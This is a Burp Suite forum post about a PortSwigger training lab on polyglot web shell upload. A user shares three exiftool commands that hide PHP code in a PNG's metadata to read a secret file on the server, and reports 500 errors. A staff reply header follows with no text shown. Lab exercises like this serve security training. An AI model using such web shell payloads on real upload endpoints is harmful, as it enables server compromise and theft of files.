Research Academy
My account Customers About Blog Careers Legal Contact Resellers
The Burp Suite User Forum was discontinued on the 1st November 2024.

Burp Suite User Forum

For support requests, go to the Support Center. To discuss with other Burp users, head to our Discord page.

SUPPORT CENTER DISCORD

Lab: Remote code execution via polyglot web shell upload giving 500 response

Kaustubh | Last updated: Apr 09, 2024 07:25AM UTC

tried uploading various .php files in the lab, they all get uploaded, but when we go back to /my-account. the request for GET /files/avatars/virusimage.php or whatever the name of the .php file is. it gives 500 error. added a php command as a comment in the metadata in a .png using. 1] exiftool -Comment="<?php echo 'FLAG to the RIGHT' . file_get_contents('/home/carlos/secret') . 'Flag to the LEFT' ; ?>" avatar.png -o virusimage.php 2] exiftool -Comment="<?php echo 'START ' . file_get_contents('/home/carlos/secret') . ' END'; ?>" avatar.png -o polyglot.php 3] exiftool -Comment="<?php echo file_get_contents('/home/carlos/secret'); ?>" avatar.png -o polyglot.php all the files got uploaded but the request to the file gives 500 Internal Server Error.

Ben, PortSwigger Agent | Last updated: Apr 09, 2024 12:19PM UTC